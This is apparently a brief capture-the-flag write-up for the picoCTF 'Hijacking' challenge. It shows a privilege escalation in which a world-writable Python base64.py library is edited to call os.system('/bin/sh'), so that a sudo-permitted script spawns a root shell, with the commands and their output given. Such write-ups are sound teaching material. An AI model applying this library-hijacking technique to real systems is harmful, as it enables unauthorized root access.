Title here
Summary here
Hijacking
pwn
July 9, 20252 minutes
For this challenge, pico gives us credentials to log in over SSH
The picoctf user is allowed to run .server.py as root without a password
picoctf@challenge:~$ sudo -l
Matching Defaults entries for picoctf on challenge:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User picoctf may run the following commands on challenge:
(root) NOPASSWD: /usr/bin/python3 /home/picoctf/.server.py
That file contains the following
import base64
import os
import socket
ip = 'picoctf.org'
response = os.system("ping -c 1 " + ip)
#saving ping details to a variable
host_info = socket.gethostbyaddr(ip)
#getting IP from a domaine
host_info_to_str = str(host_info[2])
host_info = base64.b64encode(host_info_to_str.encode('ascii'))
print("Hello, this is a part of information gathering",'Host: ', host_info)
This challenge is a bit guessy. After searching for a while, you can find that base64.py has full permissions, so it can be modified
picoctf@challenge:~$ ls -la /usr/lib/python3.8/base64.py
-rwxrwxrwx 1 root root 20382 May 26 2023 /usr/lib/python3.8/base64.py
Since the .server.py script uses the base64 library, we can add an os.system(/bin/sh) at the beginning of base64.py
picoctf@challenge:~$ head -n 15 /usr/lib/python3.8/base64.py
#! /usr/bin/python3.8
"""Base16, Base32, Base64 (RFC 3548), Base85 and Ascii85 data encodings"""
# Modified 04-Oct-1995 by Jack Jansen to use binascii module
# Modified 30-Dec-2003 by Barry Warsaw to add full RFC 3548 support
# Modified 22-May-2007 by Guido van Rossum to use bytes everywhere
import re
import struct
import binascii
import os
os.system('/bin/sh')
Now, when the script runs, we get a shell as root
picoctf@challenge:~$ sudo /usr/bin/python3 /home/picoctf/.server.py
# whoami
root
# ls -la /root
total 12
drwx------ 1 root root 23 Sep 26 2024 .
drwxr-xr-x 1 root root 51 Jul 6 10:35 ..
-rw-r--r-- 1 root root 3106 Dec 5 2019 .bashrc
-rw-r--r-- 1 root root 43 Sep 26 2024 .flag.txt
-rw-r--r-- 1 root root 161 Dec 5 2019 .profile